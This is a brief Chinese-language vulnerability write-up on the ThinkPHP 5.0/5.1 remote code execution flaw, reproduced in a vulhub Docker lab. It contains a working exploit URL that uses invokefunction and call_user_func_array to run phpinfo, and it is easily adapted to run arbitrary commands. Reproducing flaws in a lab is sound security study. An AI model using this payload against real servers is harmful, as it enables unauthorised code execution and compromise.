漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响范围

5.0

5.1

复现过程

这里使用5.0.20版本

使用vulhub

cd /vulhub/thinkphp/5-rce 进入

docker-compose up -d 启动

访问

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐